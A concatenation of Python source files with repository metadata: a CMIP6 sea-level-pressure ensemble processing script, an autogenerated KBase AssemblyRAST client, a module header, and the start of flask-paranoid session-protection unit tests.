mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_GFDL-ESM4.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GFDL-ESM4_hist-piAer_r1i1p1f1_gr1_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_GFDL-ESM4.nc') ####################### forcing = xr.open_mfdataset('//Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GFDL-ESM4_hist-aer_r1i1p1f1_gr1_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output mylist=xr.concat([output], 'ens_member') ens_number=['r1'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_GFDL-ESM4.nc') #%% forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_historical_r2i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_historical_r4i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_historical_r5i1p3f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_historical_r6i1p1f2_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3','r4'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_GISS-E2-1-G.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-GHG_r1i1p1f2_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-GHG_r2i1p1f2_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-GHG_r3i1p1f2_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-GHG_r4i1p1f2_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3','r4'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_GISS-E2-1-G.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-aer_r2i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-aer_r3i1p3f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-aer_r4i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_GISS-E2-1-G_hist-aer_r5i1p3f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3','r4'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_GISS-E2-1-G.nc') ####################### #%% forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_historical_r2i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_historical_r3i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_HadGEM3-GC31-LL.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_hist-GHG_r1i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_hist-GHG_r4i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_HadGEM3-GC31-LL.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_hist-aer_r1i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_HadGEM3-GC31-LL_hist-aer_r4i1p1f3_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_HadGEM3-GC31-LL.nc') ####################### #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_historical_r23i1p1f1_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_historical_r25i1p1f1_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_historical_r26i1p1f1_gr_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_IPSL-CM6A-LR.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-GHG_r1i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-GHG_r2i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-GHG_r3i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_IPSL-CM6A-LR.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-aer_r1i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-aer_r3i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('//Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_IPSL-CM6A-LR_hist-aer_r4i1p1f1_gr_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_IPSL-CM6A-LR.nc') #%% forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_historical_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_historical_r3i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_MIROC6.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_hist-GHG_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_hist-GHG_r2i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_MIROC6.nc') ####################### forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_hist-aer_r1i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_mfdataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MIROC6_hist-aer_r2i1p1f1_gn_*.nc', concat_dim="time", data_vars='minimal', coords='minimal', compat='override') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_MIROC6.nc') #%% forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_historical_r1i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_historical_r2i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_historical_r3i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_historical_MRI-ESM2-0.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-GHG_r1i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-GHG_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('//Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-GHG_r3i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_GHGonly_MRI-ESM2-0.nc') ####################### forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-aer_r1i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=output forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-aer_r2i1p1f1_gn_185001-202012.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') forcing = xr.open_dataset('/Volumes/Armor_CMIP6/CMIP6_project/PSL_historical/psl_Amon_MRI-ESM2-0_hist-aer_r3i1p1f1_gn_185001-201412.nc') a=int(forcing.sizes['time']/12) output=regrid_anomaly(forcing,a) mylist=xr.concat([mylist,output], 'ens_member') ens_number=['r1','r2','r3'] mylist=mylist.assign_coords(ens_member=ens_number) mylist.to_netcdf('/Volumes/Armor_CMIP6/psl_aer_MRI-ESM2-0.nc')

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159

0.766382

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4.80387

0.032252

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0.060315

0.063532

33,054

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36.363036

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0

1

0

1

0

null

0

7

230056ee366a3f4894299516bcfe5cac0df21a85

15,067

py

Python

lib/AssemblyRAST/AssemblyRASTClient.py

mclark58/ARAST_SDK

76a2abd30a6d6fabcf3700d05e8b025a62dfaaad

[ "MIT" ]

null

lib/AssemblyRAST/AssemblyRASTClient.py

mclark58/ARAST_SDK

76a2abd30a6d6fabcf3700d05e8b025a62dfaaad

[ "MIT" ]

15

2016-10-26T03:32:34.000Z

2019-01-30T22:15:08.000Z

lib/AssemblyRAST/AssemblyRASTClient.py

mclark58/ARAST_SDK

76a2abd30a6d6fabcf3700d05e8b025a62dfaaad

[ "MIT" ]

14

2016-09-08T19:40:28.000Z

2019-05-17T17:01:45.000Z

# -*- coding: utf-8 -*- ############################################################ # # Autogenerated by the KBase type compiler - # any changes made here will be overwritten # ############################################################ from __future__ import print_function # the following is a hack to get the baseclient to import whether we're in a # package or not. This makes pep8 unhappy hence the annotations. try: # baseclient and this client are in a package from .baseclient import BaseClient as _BaseClient # @UnusedImport except: # no they aren't from baseclient import BaseClient as _BaseClient # @Reimport class AssemblyRAST(object): def __init__( self, url=None, timeout=30 * 60, user_id=None, password=None, token=None, ignore_authrc=False, trust_all_ssl_certificates=False, auth_svc='https://kbase.us/services/authorization/Sessions/Login'): if url is None: raise ValueError('A url is required') self._service_ver = None self._client = _BaseClient( url, timeout=timeout, user_id=user_id, password=password, token=token, ignore_authrc=ignore_authrc, trust_all_ssl_certificates=trust_all_ssl_certificates, auth_svc=auth_svc) def run_kiki(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_kiki', [params], self._service_ver, context) def run_velvet(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_velvet', [params], self._service_ver, context) def run_miniasm(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_miniasm', [params], self._service_ver, context) def run_spades(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_spades', [params], self._service_ver, context) def run_idba(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_idba', [params], self._service_ver, context) def run_megahit(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_megahit', [params], self._service_ver, context) def run_ray(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_ray', [params], self._service_ver, context) def run_masurca(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_masurca', [params], self._service_ver, context) def run_a5(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_a5', [params], self._service_ver, context) def run_a6(self, params, context=None): """ :param params: instance of type "AssemblyParams" (Run individual assemblers supported by AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional min_contig_len @optional extra_params) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "min_contig_len" of Long, parameter "extra_params" of list of String :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_a6', [params], self._service_ver, context) def run_arast(self, params, context=None): """ :param params: instance of type "ArastParams" (Call AssemblyRAST. workspace_name - the name of the workspace for input/output read_library_name - the name of the PE read library (SE library support in the future) output_contig_set_name - the name of the output contigset extra_params - assembler specific parameters min_contig_length - minimum length of contigs to output, default 200 @optional recipe @optional assembler @optional pipeline @optional min_contig_len) -> structure: parameter "workspace_name" of String, parameter "read_library_names" of list of String, parameter "read_library_refs" of list of String, parameter "output_contigset_name" of String, parameter "recipe" of String, parameter "assembler" of String, parameter "pipeline" of String, parameter "min_contig_len" of Long :returns: instance of type "AssemblyOutput" -> structure: parameter "report_name" of String, parameter "report_ref" of String """ return self._client.call_method( 'AssemblyRAST.run_arast', [params], self._service_ver, context) def status(self, context=None): return self._client.call_method('AssemblyRAST.status', [], self._service_ver, context)

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79

0.662707

1,802

15,067

5.338513

0.084906

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0.102495

0.044595

0.897713

0.881913

0.847609

0.843971

0.839189

0

0.003894

0.267074

15,067

280

80

53.810714

0.867246

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0

0.333333

1

0

0.10802

0.059574

0

1

0.19697

false

0.030303

0.045455

0.015152

0.439394

0.015152

0

null

0

1

0

1

0

null

0

7

88b965176b7d3406fe9f2c44273da8b2d0b23591

197

py

Python

fppy/abstract_algebra/category_algebra.py

threecifanggen/python-functional-programming

bd17281e5f24db826266f509bc54b25362c0d2a1

[ "MIT" ]

3

2021-10-05T09:12:36.000Z

2021-11-30T07:11:58.000Z

fppy/abstract_algebra/category_algebra.py

threecifanggen/python-functional-programming

bd17281e5f24db826266f509bc54b25362c0d2a1

[ "MIT" ]

14

2021-10-11T05:31:15.000Z

2021-12-16T12:52:47.000Z

fppy/abstract_algebra/category_algebra.py

threecifanggen/python-functional-programming

bd17281e5f24db826266f509bc54b25362c0d2a1

[ "MIT" ]

null

''' Author: huangbaochen<huangbaochenwo@live.com> Date: 2021-12-12 19:58:25 LastEditTime: 2021-12-12 19:58:25 LastEditors: huangbaochen<huangbaochenwo@live.com> Description: 范畴学相关抽象代数 No MERCY '''

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null

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7

88e8b0862ebbb52963a5959d4a09aeafeab8d74f

5,916

py

Python

tests/test_paranoid.py

nehaljwani/flask-paranoid

ec6205756d55edd1b135249b9bb345871fef0977

[ "MIT" ]

68

2017-06-30T06:52:27.000Z

2022-03-22T02:39:58.000Z

tests/test_paranoid.py

nehaljwani/flask-paranoid

ec6205756d55edd1b135249b9bb345871fef0977

[ "MIT" ]

8

2017-08-02T04:28:36.000Z

2022-01-01T12:53:13.000Z

tests/test_paranoid.py

nehaljwani/flask-paranoid

ec6205756d55edd1b135249b9bb345871fef0977

[ "MIT" ]

7

2017-08-02T02:33:58.000Z

2020-11-19T08:50:00.000Z

import sys import unittest from flask import Flask from flask_paranoid import Paranoid class ParanoidTests(unittest.TestCase): def _delete_cookie(self, name): return (name + '=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; ' 'Max-Age=0; Path=/') def test_401(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' Paranoid(app) @app.route('/') def index(): return 'foobar' client = app.test_client(use_cookies=True) rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) self.assertEqual(rv.status_code, 401) self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertNotIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie')) def test_redirect_no_domain(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' paranoid = Paranoid(app) paranoid.redirect_view = '/foobarbaz' @app.route('/') def index(): return 'foobar' client = app.test_client(use_cookies=True) self.assertEqual(paranoid.redirect_view, '/foobarbaz') rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) self.assertEqual(rv.status_code, 302) self.assertEqual(rv.headers['Location'], 'http://localhost/foobarbaz') self.assertIn(self._delete_cookie('session'), rv.headers.getlist('Set-Cookie')) self.assertNotIn(self._delete_cookie('remember_token'), rv.headers.getlist('Set-Cookie')) def test_redirect_domain(self): app = Flask(__name__) app.config['SECRET_KEY'] = 'foo' paranoid = Paranoid(app) paranoid.redirect_view = 'https://foo.com/foobarbaz' @app.route('/') def index(): return 'foobar' client = app.test_client(use_cookies=True) self.assertEqual(paranoid.redirect_view, 'https://foo.com/foobarbaz') rv = client.get('/', headers={'User-Agent': 'foo'}) self.assertEqual(rv.status_code, 200) rv = client.get('/', headers={'User-Agent': 'bar'}) self.assertEqual(rv.status_code, 302) self.assertEqual(rv.headers['Location'], 'https://foo.com/foobarbaz') 